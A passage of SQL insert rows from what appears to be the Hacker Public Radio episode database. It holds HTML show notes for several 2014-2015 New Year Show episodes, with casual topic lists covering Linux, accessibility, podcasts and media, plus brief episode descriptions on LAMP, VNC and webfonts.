(Elasticsearch)</li>\n  <li>Tim O\'Reilly: What kind of world do we want to build?</li>\n </ul>\n <br /> Read more: <a href=\"https://opensource.com/business/14/7/keynotes-day-2-oscon-2014\">https://opensource.com/business/14/7/keynotes-day-2-oscon-2014</a><h2>Keynotes from OSCON 2014 Day 3</h2>\n <p>We\'re back with keynote coverage on Day 3 of OSCON 2014! Day 3 talks include:</p>\n <ul>\n  <li>Andrew Sorensen: The concert programmer</li>\n  <li>Frank Willison Award for contributions to the Python community</li>\n  <li>Beth Flanagan: Yes, your refrigerator is trying to kill you: Bad actors and the Internet of Things</li>\n  <li>Ryan Vinyard: Open manufacturing: Bringing open hardware beyond 3D printing</li>\n  <li>Rachel Nabors: Storytelling on the shoulders of giants</li>\n </ul>\n <br /> Read more: <a href=\"https://opensource.com/business/14/7/keynotes-oscon-2014-day-3\">https://opensource.com/business/14/7/keynotes-oscon-2014-day-3</a>',280,28,0,'CC-BY-SA','OSCON 2014,open source',0,0,1),
(1674,'2015-01-01','2014-2015 New Year Show Part 1 of 8',12840,'The first 4 hours of the 2014 to 2015 New Year Show.','<b>2014-12-31T10:00:00Z</b><br\r\n/>hpr1674 :: New Year Show Part 1 of 8<br\r\n/><a href=\"https://hackerpublicradio.org/eps.php?id=1674\">https://hackerpublicradio.org/eps.php?id=1674</a><br\r\n/>Welcome to the 4th Annual Hacker Public Radio show. It is December the 31st 2014 and the time is 10 hundred hours UTC. We start the show by sending Greetings to Christmas Island/Kiribati and Samoa Kiritimati, Apia.<br\r\n/>Announcements: Even with editors&nbsp; volunteering, we need some folks to record as backup (Ken said ogg is&nbsp; fine). Bruce Patterson is looking for a new host for the Distrowatch&nbsp; Weekly Podcast fixing 5150s mike problems because he was half alseep.&nbsp;&nbsp; Talking new PC and components prices and construction theory<br\r\n/><br\r\n/><b>2014-12-31T10:15:00Z</b><br\r\n/>It is December the 31st 2014 and the time is 10 15 hundred hours UTC&nbsp;<br\r\n/><ul><li>Greetings to Chatham Islands/New Zealand Chatham Islands.</li></ul\r\n>Marcus cobra2 and 5150 talk&nbsp; movies, the ease of use of HPR, focusing on one topic when podcasting&nbsp;&nbsp; We talk Canadian and New Zealand TV.&nbsp; Steam on Linux.&nbsp;<br\r\n/><br\r\n/><b>2014-12-31T11:00:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to New Zealand with exceptions and 5 more&nbsp; Auckland, Suva, Wellington, Nukualofa.</li></ul\r\n>FiftyOneFifty and Dudeman discuss single board computers, being on fire, and herding cattle.&nbsp; The cameras dude-man uses with Zone-Minder <a href=\"https://www.hikvision.com/Es/Products_show.asp?id=7326\">https://www.hikvision.com/Es/Products_show.asp?id=7326</a>&nbsp; Various old man ailments, diet and exercise.<br\r\n/><br\r\n/><b>2014-12-31T12:00:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to small region of Russia, Marshall Islands and 5 more Anadyr, Funafuti, Yaren, Tarawa.</li></ul\r\n>Time zones again tailoring your distro to get what you want<br\r\n/><br\r\n/><b>2014-12-31T12:30:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to Norfolk Island, Kingston.</li></ul\r\n>Efficient Ubuntu spins to put on older hardware<br\r\n/><br\r\n/><b>2014-12-31T13:00:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to much of Australia and 5 more&nbsp; Melbourne, Sydney, Canberra, Honiara.</li></ul\r\n>Announcement: Bruce Patterson is looking for a new host for the Distrowatch Weekly Podcast&nbsp; The N900, and mobile Linux computing<br\r\n/><br\r\n/><b>2014-12-31T13:30:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to small region of Australia Adelaide, Broken Hill.</li></ul\r\n>Zoneminder and a Pi connected to a webcam<br\r\n/><br\r\n/>',159,121,1,'CC-BY-SA','New Year,2015',0,0,1),
(1675,'2015-01-02','2014-2015 New Year Show Part 2 of 8',11580,'New Year Show Part 2 from 14:00 to 18:00','<b>2014-12-31T14:00:00Z</b><br /> hpr1675 :: New Year Show Part 2 of 8<br /><a href=\"https://hackerpublicradio.org/eps.php?id=1675\">https://hackerpublicradio.org/eps.php?id=1675</a><br />\n <ul>\n  <li>Greetings to Queensland/Australia and 5 more Brisbane, Port Moresby, Guam, Cairns.<br />\n   <br />\n  </li>\n </ul><b>2014-12-31T14:30:00Z</b><br />\n <br />\n <ul>\n  <li>Greetings to Northern Territory/Australia, Darwin, Alice Springs, Uluru.</li>\n </ul> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Flying Rich arrives!<br />\n <ul>\n  <li>1450Z - Discussion of 5150\'s house building project.</li>\n  <li>Samson Q2U <a href=\"https://www.amazon.com/Samson-Handheld-Microphone-Headphones-Accessories/dp/B001R747SG/ref=sr_1_1?ie=UTF8&qid=1420035345&sr=8-1&keywords=samson+q2u\">https://www.amazon.com/Samson-Handheld-Microphone-Headphones-Accessories/dp/B001R747SG/ref=sr_1_1?ie=UTF8&amp;qid=1420035345&amp;sr=8-1&amp;keywords=samson+q2u</a><ul>\n    <li>Geothermal and radiant heating</li>\n    <li>Insulation techniques</li>\n    <li>Carpeting vs. other types of flooring<br />\n     <br />\n    </li>\n   </ul>\n  </li>\n </ul><b>2014-12-31T15:00:00Z</b><br />\n <br />\n <ul>\n  <li>Greetings to Japan and 6 more: Tokyo, Seoul, Pyongyang, Dili.<br />\n   <br />\n  </li>\n  <li>1500Z - Discussion of 5150\'s house building project continues <ul>\n    <li>Built-in gun safe</li>\n    <li>Safety and accessibility considerations<br />\n     <br />\n    </li>\n   </ul>\n  </li>\n  <li>1505Z - Guns, guns, guns! <ul>\n    <li>Hidden gun storage <a href=\"https://www.youtube.com/watch?v=hjoaO5IL8rg\">https://www.youtube.com/watch?v=hjoaO5IL8rg</a><br />\n     <br />\n    </li>\n   </ul>\n  </li>\n  <li>1513Z - Alternating tread stairs <ul>\n    <li><a href=\"https://www.thisoldhouse.com/toh/article/0,,443801,00.html\">https://www.thisoldhouse.com/toh/article/0,,443801,00.html</a><br />\n     <br />\n    </li>\n   </ul>\n  </li>\n </ul><b>2014-12-31T15:15:00Z</b><br />\n <br />\n <ul>\n  <li>Greetings to Western Australia/Australia Eucla.<br />\n   <br />\n  </li>\n  <li>1516Z - GNU jokes <ul>\n    <li><a href=\"https://www.gnu.org/fun/jokes/users-lightbulb.html\">https://www.gnu.org/fun/jokes/users-lightbulb.html</a><br />\n     <br />\n    </li>\n   </ul>\n  </li>\n  <li>1517Z - Ohio Linux Fest<br />\n   <br />\n  </li>\n  <li>1522Z - Mobile phone hacking <ul>\n    <li><a href=\"https://www.qualcomm.com/\"><u>https://www.qualcomm.com/</u></a></li>\n    <li><a href=\"https://www.bqmobile.com/\">https://www.bqmobile.com/</a></li>\n    <li><a href=\"https://awslookup.com/pentaband-phones/\">https://awslookup.com/pentaband-phones/</a></li>\n    <li><a href=\"https://www.replicant.us/\">https://www.replicant.us/</a><br />\n     <br />\n    </li>\n   </ul>\n  </li>\n  <li>1528Z - Pegwole arrives!<br />\n   <br />\n  </li>\n  <li>1528Z - Mobile phone hacking<br />\n   <br />\n  </li>\n  <li>1531Z - Shellshock and Heartbleed vulnerabilities <ul>\n    <li><a href=\"https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29\">https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29</a></li>\n    <li><a href=\"https://en.wikipedia.org/wiki/Heartbleed\">https://en.wikipedia.org/wiki/Heartbleed</a><br />\n     <br />\n    </li>\n   </ul>\n  </li>\n  <li>1532Z - Security auditing <ul>\n    <li>SSL 2.0 and 3.0 problems (Beast, Poodle)</li>\n    <li>TLS vs. SSL</li>\n    <li>Alleged NSA backdoor in BSD<br />\n     <br />\n    </li>\n   </ul>\n  </li>\n  <li>1537Z - Text-to-Speech <ul>\n    <li><a href=\"https://espeak.sourceforge.net/\">https://espeak.sourceforge.net/</a><br />\n     <br />\n    </li>\n   </ul>\n  </li>\n  <li>1538Z - Jonathan Nadeau arrives, accessible computing discussion follows <ul>\n    <li><a href=\"https://qt-project.org/\">https://qt-project.org/</a></li>\n    <li><a href=\"https://sourceforge.net/projects/mumble/\">https://sourceforge.net/projects/mumble/</a></li>\n    <li><a href=\"https://www.northeastlinuxfest.org/\">https://www.northeastlinuxfest.org/</a></li>\n    <li><a href=\"https://sonargnulinux.com/\">https://sonargnulinux.com/</a></li>\n    <li><a href=\"https://libreplanet.org/wiki/Main_Page\">https://libreplanet.org/wiki/Main_Page</a></li>\n    <li><a href=\"https://www.southeastlinuxfest.org/\">https://www.southeastlinuxfest.org/</a></li>\n    <li><a href=\"https://www.ohiolinux.org/\">https://www.ohiolinux.org/</a></li>\n    <li><a href=\"https://en.wikipedia.org/wiki/Game_clock\">https://en.wikipedia.org/wiki/Game_clock</a></li>\n    <li><a href=\"https://cardsagainsthumanity.com/\">https://cardsagainsthumanity.com/</a><br />\n     <br />\n    </li>\n   </ul>\n  </li>\n  <li>1548Z - Text-to-Speech Revisited <ul>\n    <li><a href=\"https://mary.dfki.de/\">https://mary.dfki.de/</a> (MaryTTS)</li>\n    <li><a href=\"https://wiki.gnome.org/action/show/Projects/Orca\">https://wiki.gnome.org/action/show/Projects/Orca</a> (Orca)<br />\n     <br />\n    </li>\n   </ul>\n  </li>\n  <li>1553Z - Sonar Linux <ul>\n    <li><a href=\"https://www.gnome.org/\">https://www.gnome.org/</a> (Gnome)</li>\n    <li><a href=\"https://manjaro.org/\">https://manjaro.org/</a> (Manjaro Linux)</li>\n    <li><a href=\"https://archlinux.org/\">https://archlinux.org/</a> (Arch Linux)</li>\n    <li><a href=\"https://trisquel.info/\">https://trisquel.info/</a> (Trisquel Linux)</li>\n    <li><a href=\"https://ubuntu-mate.org/\">https://ubuntu-mate.org/</a> (Ubuntu-MATE)<br />\n     <br />\n    </li>\n   </ul>\n  </li>\n  <li>1558Z - Mumble on a Raspberry Pi<br />\n   <br />\n  </li>\n </ul><b>2014-12-31T16:00:00Z</b><br />\n <br />\n <ul>\n  <li>Greetings to China and 12 more: Beijing, Hong Kong, Manila, Singapore.<br />\n   <br />\n  </li>\n  <li>Broam\'s Keyboard: <a href=\"https://www.kinesis-ergo.com/shop/advantage-for-pc-mac/\"><u>https://www.kinesis-ergo.com/shop/advantage-for-pc-mac/</u></a></li>\n  <li>Broam\'s joystick controller: <a href=\"https://www.amazon.com/Saitek-P2500-Rumble-Force-Game/dp/B000075B5V\">https://www.amazon.com/Saitek-P2500-Rumble-Force-Game/dp/B000075B5V</a> (can\'t find manufacturer link)</li>\n  <li>NVDA is Nonvisual Desktop Access - Free Software Screenreader for Windows - <a href=\"https://www.nvaccess.org/\">https://www.nvaccess.org/</a></li>\n  <li>Jonathan and Broam discuss learning computer science while blind.<br />\n   <br />\n  </li>\n </ul><b>2014-12-31T17:00:00Z</b><br />\n <br />\n <ul>\n  <li>Greetings to much of Indonesia, Thailand and 7 more: Jakarta, Bangkok, Hanoi, Phnom Penh.</li>\n  <li>We\'re off by one!</li>\n  <li>Broam pokes Pegwole for some photography gear talk</li>\n  <li>Etymology of IRC handles / nicknames</li>\n  <li>RP - <a href=\"https://en.wikipedia.org/wiki/Received_Pronunciation\">https://en.wikipedia.org/wiki/Received_Pronunciation</a></li>\n  <li>Which shortcut key to use in mumble?</li>\n  <li>thistleweb sayings \"<br />\n   <br />\n  </li>\n </ul><b>2014-12-31T17:30:00Z</b><br />\n <br />\n <ul>\n  <li>Greetings to Myanmar and Cocos Islands, Yangon, Naypyidaw, Mandalay, Bantam.</li>\n  <li>Dude man has us wondering what \"1 inch below is worth 2 above\"&nbsp;</li>\n  <li>\"its connected with cutting hay... when your using a scythe which is really advanced tech and basicly led to the masive dependance on grain consumption believe it or not. But when cutting grass for hay for winter feed... cutting lower at the bottom by 1 inch gave bigger return for your effort and quality than have the grass 2 inches tailer<br />\n   <br />\n  </li>\n </ul>',159,121,1,'CC-BY-SA','New Year,2015',0,0,1),
(1677,'2015-01-06','2014-2015 New Year Show Part 4 of 8',8224,'New Year Show Part 4 of 8 22:00 to 00:30 UTC','<b>2014-12-31T22:00:00Z</b><br\r\n/>Mumble-2014-12-31-14-00-23-ch1.teamspeak.cc-Mixdown.ogg<br\r\n/><br\r\n/><ul><li>Greetings to Greece and 30 more: Cairo, Ankara, Athens, and Bucharest.<br/><br\r\n/></li\r\n><li>kinda quiet</li\r\n><li>camera buying with dann.... kinda</li\r\n><li>topic hopping</li\r\n><li>speculation on how windows will work without IE.</li\r\n><li>proprietary marketing skills</li\r\n><li>mass brainwashing of the world (Apple, anyone?)</li\r\n><li><br/><br/><br\r\n/></li></ul\r\n><b>2014-12-31T23:00:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to Germany and 43 more: Brussels, Madrid, Paris, and Rome.</li\r\n><li>Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, Coppies, coppyright, </li\r\n><li>we are living the future, we are all our own gutenbergs</li\r\n><li>The wave is really the Mexican Wave!</li\r\n><li>George Orwell was an incredible human being</li\r\n><li>Was George Orwell a time traveler who invented the salng word \"Pig\" for police?</li\r\n><li>Star wars discussion</li\r\n><li>Dr. Who talk</li\r\n><li>Distribution of entertainment media around the world shouldn\'t be delayed</li\r\n><li>Best comic book remakes<br/><br\r\n/></li></ul\r\n><b>2015-01-01T00:00:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to United Kingdom and 24 more: London, Casablanca, Dublin, and Lisbon.</li\r\n><li>...continuing the Dr. Who / media distribution discussion</li\r\n><li>ThistleWeb watches Dawson\'s Creek </li\r\n><li>Bluetooth controllers, Bethoven and jousting <a href=\"https://arstechnica.com/gaming/2014/12/microsoft-tells-j-s-joust-devs-their-game-is-not-possible-on-windows/\">https://arstechnica.com/gaming/2014/12/microsoft-tells-j-s-joust-devs-their-game-is-not-possible-on-windows/</a></li\r\n><li>Lord Drakenblut Has a crowd funding campaign to get to SCALE.<u> </u><a href=\"https://www.gofundme.com/gysc0o\"><u>https://www.gofundme.com/gysc0o</u></a> . Sadly, he is ill.</li\r\n><li>I (JonTheNiceGuy) joined the feed, and the podcast I produce (CCHits.net *plug*) was mentioned ;)</li\r\n><li>KLAATU IS HERE!!!!</li\r\n><li>now we are talking about things that he cannot speak about. </li\r\n><li>reading the books is faster than watching the movies?</li\r\n><li>Book and movie spoiler time =D yolo</li\r\n><li>Books, Movies...</li\r\n><li>Bad cantina music</li\r\n><li><br/><br/><br\r\n/></li></ul\r\n>',159,121,1,'CC-BY-SA','New Year,2015',0,0,1),
(1678,'2015-01-07','2014-2015 New Year Show Part 5 of 8',8239,'New Year Show Part 5 of 8 00:30 to 03:00 UTC','<b>2015-01-01T00:00:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to United Kingdom and 24 more: London, Casablanca, Dublin, and Lisbon.</li\r\n><li>...continuing the Dr. Who / media distribution discussion</li\r\n><li>ThistleWeb watches Dawson\'s Creek&nbsp;</li\r\n><li>Bluetooth controllers, Bethoven and jousting <a href=\"https://arstechnica.com/gaming/2014/12/microsoft-tells-j-s-joust-devs-their-game-is-not-possible-on-windows/\">https://arstechnica.com/gaming/2014/12/microsoft-tells-j-s-joust-devs-their-game-is-not-possible-on-windows/</a></li\r\n><li>Lord Drakenblut Has a crowd funding campaign to get to SCALE.<u> </u><a href=\"https://www.gofundme.com/gysc0o\"><u>https://www.gofundme.com/gysc0o</u></a> . Sadly, he is ill.</li\r\n><li>I (JonTheNiceGuy) joined the feed, and the podcast I produce (CCHits.net *plug*) was mentioned ;)</li\r\n><li>KLAATU IS HERE!!!!</li\r\n><li>now we are talking about things that he cannot speak about.&nbsp;</li\r\n><li>reading the books is faster than watching the movies?</li\r\n><li>Book and movie spoiler time =D yolo</li\r\n><li>Books, Movies...</li\r\n><li>Bad cantina music</li\r\n><li><br/><br/><br\r\n/></li></ul\r\n><b>2015-01-01T01:00:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to Cape Verde, some regions of Greenland and 1 more: Praia, Ponta Delgada (Azores), Ittoqqortoormiit, and Mindelo.</li\r\n><li>Podcast recommendations:</li\r\n><li>Crivens - <a href=\"https://unseenstudio.co.uk/category/crivins-ogg/\">https://unseenstudio.co.uk/category/crivins-ogg/</a></li\r\n><li>The Linux Link Tech Show - <a href=\"https://tllts.org\">https://tllts.org</a> got that one already</li\r\n><li>The Crab Feast - <a href=\"https://www.thecrabfeast.com/\">https://www.thecrabfeast.com/</a></li\r\n><li>Tech Snap - <a href=\"https://www.jupiterbroadcasting.com/\">https://www.jupiterbroadcasting.com/</a></li\r\n><li>Linux in the Ham Shack - <a href=\"https://lhspodcast.info/\">https://lhspodcast.info/</a></li\r\n><li>Linux Action Show (total shite)</li\r\n><li>Keith and the Girl - <a href=\"https://www.keithandthegirl.com/\">https://www.keithandthegirl.com/</a></li\r\n><li>Podnutz.com - if you need a link..... <a href=\"https://justfuckinggoogleit.com/\">https://justfuckinggoogleit.com/</a>&nbsp; {NSFW}</li\r\n><li>Distorted View - <a href=\"https://www.distortedview.com/show\">https://www.distortedview.com/show</a></li\r\n><li>Tux Jam - <a href=\"https://unseenstudio.co.uk/category/tuxjam-ogg/\">https://unseenstudio.co.uk/category/tuxjam-ogg/</a></li\r\n><li>Bad Voltage - <a href=\"https://www.badvoltage.org/\">https://www.badvoltage.org/</a></li\r\n><li>the Changelog - (better than FLOSS Weekly) <a href=\"https://thechangelog.com/\">https://thechangelog.com/</a></li\r\n><li>Knightcast by Knightwise</li\r\n><li>The No Agenda Show - <a href=\"https://www.noagendashow.com/\">https://www.noagendashow.com/</a></li\r\n><li>Stuff You Should Know - <a href=\"https://www.stuffyoushouldknow.com/\">https://www.stuffyoushouldknow.com/</a></li\r\n><li>\"No such thing as a fish\" - <a href=\"https://qi.com/podcast/\">https://qi.com/podcast/</a>&nbsp;</li\r\n><li>Tank Riot - <a href=\"https://www.tankriot.com/\">https://www.tankriot.com/</a></li\r\n><li>Raspi today - <a href=\"https://www.raspi.today/\">https://www.raspi.today/</a></li\r\n><li>Linux Voice - <a href=\"https://linuxvoice.com\">https://linuxvoice.com</a></li\r\n><li>Going Linux - <a href=\"https://goinglinux.com\">https://goinglinux.com</a></li\r\n><li>DVDASA - <a href=\"https://dvdasa.com\">https://dvdasa.com</a> watch the videos uncensored on <a href=\"https://vid.me/u/dvdasa\">https://vid.me/u/dvdasa</a></li\r\n><li>Linux Luddites - <a href=\"https://linuxluddites.com\">https://linuxluddites.com</a></li\r\n><li>mintCast - <a href=\"https://mintcast.org\">https://mintcast.org</a></li\r\n><li>The Adam Carolla Show - <a href=\"https://adamcarolla.com/\">https://adamcarolla.com/</a></li\r\n><li>Ace on the House - <a href=\"https://aceonthehouse.adamcarolla.com/\">https://aceonthehouse.adamcarolla.com/</a></li\r\n><li>CC Hits - cchits.net</li\r\n><li>Youtube mini cooper build with 200 HP 4WD Celica running gear <a href=\"https://www.youtube.com/attribution_link?a=zjG9fRWFnag&u=/playlist?list%3DLLHvBHWBzzB7NyU5tIiEZHBg\">https://www.youtube.com/attribution_link?a=zjG9fRWFnag&amp;u=/playlist?list%3DLLHvBHWBzzB7NyU5tIiEZHBg</a></li\r\n><li>Just general talking about commercial media.&nbsp;</li\r\n><li>Jim Henson series - The Story Teller <a href=\"https://thetvdb.com/?tab=series&id=77747&lid=7\">https://thetvdb.com/?tab=series&amp;id=77747&amp;lid=7</a></li\r\n><li>LEX - <a href=\"https://thetvdb.com/?tab=series&id=72854&lid=7\">https://thetvdb.com/?tab=series&amp;id=72854&amp;lid=7</a></li\r\n><li><br/><br/><br\r\n/></li></ul\r\n><b>2015-01-01T02:00:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to regions of Brazil, Uruguay and 1 more: Rio de Janeiro, Sao Paulo, Brasilia, Montevideo.</li\r\n><li>5150 has shitty audio again</li\r\n><li>Favorite Hardware purchases of 2014</li\r\n><li>cobra2 - Duracell powermat (inductive portable backup)&nbsp; $10 USD <a href=\"https://www.amazon.com/gp/product/B0082YVBO0/ref=oh_aui_detailpage_o01_s00?ie=UTF8&psc=1\">https://www.amazon.com/gp/product/B0082YVBO0/ref=oh_aui_detailpage_o01_s00?ie=UTF8&amp;psc=1</a></li\r\n><li>pokey: Gorilla Drive USB flash memory (thumb drive), $200 Wally World HP laptop</li\r\n><li>SndChaser: ZaReason laptop <a href=\"https://zareason.com/shop/home.php\">https://zareason.com/shop/home.php</a></li\r\n><li>back to tvshows</li\r\n><li>Starship titanic <a href=\"https://www.starshiptitanic.com/\">https://www.starshiptitanic.com/</a> <a href=\"https://en.wikipedia.org/wiki/Starship_Titanic\">https://en.wikipedia.org/wiki/Starship_Titanic</a></li\r\n><li>FOOD!!!</li\r\n><li>genetically modified crops discussion (pretty good)<br/><br\r\n/><br/><br\r\n/></li></ul\r\n>',159,121,1,'CC-BY-SA','New Year,2015',0,0,1),
(1679,'2015-01-08','2014-2015 New Year Show Part 6 of 8',7967,'New Year Show Part 6 of 8 from 03:00 to 05:30 UTC','<b>2015-01-01T03:00:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to regions of Brazil, Argentina and 7 more: Buenos Aires, Santiago, Asuncion, Paramaribo.</li\r\n><li>SoundChaser doesn\'t sound pasty white.&nbsp;</li\r\n><li>Genetically modified discusion continues (not as good the second time)</li\r\n><li>Genetically modified discusion continues (time to fast forward)<br/><br\r\n/></li></ul\r\n><b>2015-01-01T03:30:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to Newfoundland and Labrador/Canada&nbsp; St. John\'s, Conception Bay South, Corner Brook,Gander.</li\r\n><li>Systemd discussion about server logs</li\r\n><li>we still don\'t understand why they do time on a 30 min break.... come on people just use UTC</li\r\n><li>UTC FTW</li\r\n><li>Watch chat</li\r\n><li>Drink-o-meter chat this is a fabulous idea, 50 should do it.&nbsp;</li\r\n><li>guns and good chinchillas</li\r\n><li><br/><br/><br\r\n/></li></ul\r\n><b>2015-01-01T04:00:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to Atlantic Canada and cobra2 and 26 more: Saint John, La Paz, San Juan, Santo Domingo, Halifax.</li\r\n><li>guns... again pokey talks about how he rebuilt an air gun to something special that ended in epic fail (bent barrel)</li\r\n><li>Pokey has a Bad Barrel</li\r\n><li>pokey has a new job!!!</li\r\n><li>pokey is building the internet at his new job. Trans-oceanic cables don\'t build themselves afterall.</li\r\n><li>books<br/><br\r\n/></li></ul\r\n><b>2015-01-01T04:30:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to Venezuela Caracas, Barquisimeto, Maracaibo, Maracay.</li\r\n><li>retro games that are must plays</li\r\n><li>Metroid NES</li\r\n><li>Super Metroid SNES</li\r\n><li>Legend of Zelda NES</li\r\n><li>Ninja Gaiden</li\r\n><li>Lolo Land NES</li\r\n><li>You Don\'t Know Jack PC</li\r\n><li>Delwin makes a cameo appearance<br/><br\r\n/></li></ul\r\n><b>2015-01-01T05:00:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to the eastern region of the United States,regions of Canada and 12 more: New York, Boston, Rochester NY, Rochester NH, Millinocket, Maryland, Washington DC, Detroit, Havana, Atlanta.</li\r\n><li>fireworks and meth labs go up in celebration of the new year. Pgggy went to watch...</li\r\n><li>and we are really not family friendly now</li\r\n><li>Kerbal Space Platform is a game. People like it.</li\r\n><li>notKlaatu didn\'t get busted transproting lockpick tools from the US to New Zealand</li\r\n><li>OpenSource HTML5 IRC client: <a href=\"https://kiwiirc.com/\">https://kiwiirc.com/</a></li\r\n><li>Gnu Social servers: <a href=\"https://quitter.se\">https://quitter.se</a> and <a href=\"https://micro.fragdev.com/\">https://micro.fragdev.com/</a></li\r\n><li><br/><br/><br\r\n/></li></ul\r\n>',159,121,1,'CC-BY-SA','New Year,2015',0,0,1),
(1680,'2015-01-09','2014-2015 New Year Show Part 7 of 8',8518,'New Year Show Part 7 of 8 from 05:30 to 08:00 UTC','<b>2015-01-01T05:00:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to the eastern region of the United States,regions of Canada and 12 more: New York, Boston, Rochester NY, Rochester NH, Millinocket, Maryland, Washington DC, Detroit, Havana, Atlanta.</li\r\n><li>fireworks and meth labs go up in celebration of the new year. Pgggy went to watch...</li\r\n><li>and we are really not family friendly now</li\r\n><li>Kerbal Space Platform is a game. People like it.</li\r\n><li>notKlaatu didn\'t get busted transproting lockpick tools from the US to New Zealand</li\r\n><li>OpenSource HTML5 IRC client: <a href=\"https://kiwiirc.com/\">https://kiwiirc.com/</a></li\r\n><li>Gnu Social servers: <a href=\"https://quitter.se\">https://quitter.se</a> and <a href=\"https://micro.fragdev.com/\">https://micro.fragdev.com/</a></li\r\n><li><br/><br/><br\r\n/></li></ul\r\n><b>2015-01-01T06:00:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to the midwest region of the United States, some regions of Canada and 8 more&nbsp; Mexico City, Chicago, Guatemala, Dallas.</li\r\n><li>Hillbilly Tracking of Low Earth Orbit [30c3]</li\r\n><li><a href=\"https://www.youtube.com/watch?v=ktnQ7nBCuqU\">https://www.youtube.com/watch?v=ktnQ7nBCuqU</a></li\r\n><li>Etherpad is the BOMB!</li\r\n><li>arrrr</li\r\n><li>No more possum drops in Brasstown, NC</li\r\n><li>fecal matter.... lots of it.... don\'t listen to this hour...</li\r\n><li>Threethirty\'s S2 has epic audio over 3G</li\r\n><li>Summer/Winter breaks</li\r\n><li>What we did when we were kids.</li\r\n><li>Best memories of 2014</li\r\n><li>5150 fire</li\r\n><li>NSFW..... NSFAA</li\r\n><li>NSFBWA</li\r\n><li>well cobra2 attempted to reign in the chaos.... bah... this is pointless.&nbsp;</li\r\n><li>ehhh, warn them I hate being the judgemental type.</li\r\n><li>I\'m not logged in as an admin. else I\'d do it myself</li\r\n><li>pokey considers banishing people to the competitive drinking room...</li\r\n><li>if you can\'t beat em... join em? That was reeling it in.Might bring it&nbsp; to stories</li\r\n><li>HPR NYE goes off the rails for a bit, and Cobra2 dropps the gentile hammer.</li\r\n><li>then we find out just how drunk 50 is.....<br/><br\r\n/></li></ul\r\n><b>2015-01-01T07:00:00Z</b><br\r\n/><br\r\n/><ul><li>Greetings to the mountain region of the United States, some regions of Canada and 1 more: Calgary, Denver, Edmonton, Phoenix.</li\r\n><li>cobra2 injests first cup of coffee that is needed to stay awake</li\r\n><li>Weak</li\r\n><li>This hour is NSFW too.</li\r\n><li>More Copyright discussion.</li\r\n><li>finally coffee.......</li\r\n><li>Coffee in New Zealand is pretty darn good ~ Klaatu</li\r\n><li>OMG there was an alien in the Navy. robot.</li\r\n><li>and someone prods the bear</li\r\n><li><br/></li></ul\r\n>',159,121,1,'CC-BY-SA','New Year,2015',0,0,1),
(1596,'2014-09-15','About the Word \"Hack\"',811,'Klaatu muses about the word \"hack\"','<p>Klaatu muses about the word \"hack\" and what it means, what it should mean, and how we can keep it meaningful.</p>',78,0,0,'CC-BY-SA','hack,hacker',0,0,1),
(1601,'2014-09-22','Howto Install LAMP',937,'Klaatu introduces new web developers to LAMP.','<p>If you\'re just starting out as a web developer or\r\ndesigner, you should know about LAMP and how to use it. This episode\r\nintroduces you to the basics.\r\n</p>\r\n<p>\r\n<strong>LAMP (software bundle)</strong><br />\r\n<em>From Wikipedia, the free encyclopedia</em><br />\r\nLAMP is an acronym for an archetypal model of web service solution stacks, originally consisting of largely interchangeable components: Linux, the Apache HTTP Server, the MySQL relational database management system, and the PHP programming language. As a solution stack, LAMP is suitable for building dynamic web sites and web applications.\r\n<br />\r\n<a href=\"https://en.wikipedia.org/wiki/LAMP_%28software_bundle%29\">https://en.wikipedia.org/wiki/LAMP_%28software_bundle%29</a>\r\n</p>',78,0,0,'CC-BY-SA','LAMP',0,0,1),
(1606,'2014-09-29','Howto VNC',843,'Klaatu talks about how to get VNC up and running.','<p>Klaatu talks about how to get VNC up and running. It focuses on x11vnc but basically it applies to any variety.</p>\n <p><strong>Virtual Network Computing</strong><br /><em>From Wikipedia, the free encyclopedia</em><br />\n  <br /> In computing, Virtual Network Computing (VNC) is a graphical desktop sharing system that uses the Remote Frame Buffer protocol (RFB) to remotely control another computer. It transmits the keyboard and mouse events from one computer to another, relaying the graphical screen updates back in the other direction, over a network.<br /> VNC is platform-independent – There are clients and servers for many GUI-based operating systems and for Java. Multiple clients may connect to a VNC server at the same time. Popular uses for this technology include remote technical support and accessing files on one\'s work computer from one\'s home computer, or vice versa.<br /> VNC was originally developed at the Olivetti &amp; Oracle Research Lab in Cambridge, United Kingdom. The original VNC source code and many modern derivatives are open source under the GNU General Public License.<br /> There are a number of variants of VNC which offer their own particular functionality; e.g., some optimised for Microsoft Windows, or offering file transfer (not part of VNC proper), etc. Many are compatible (without their added features) with VNC proper in the sense that a viewer of one flavour can connect with a server of another; others are based on VNC code but not compatible with standard VNC.<br /> VNC and RFB are registered trademarks of RealVNC Ltd. in the U.S. and in other countries.</p>\n',78,0,0,'CC-BY-SA','VNC,Virtual Network Computing',0,0,1),
(1616,'2014-10-13','Howto Use Webfonts',1236,'Klaatu reveals the secret of webfonts WITHOUT using Google','<p>Klaatu reveals the secret of webfonts WITHOUT using Google. How can this be? Listen and find out.</p>\r\n',78,0,0,'CC-BY-SA','font,CSS,font-face',0,0,1),
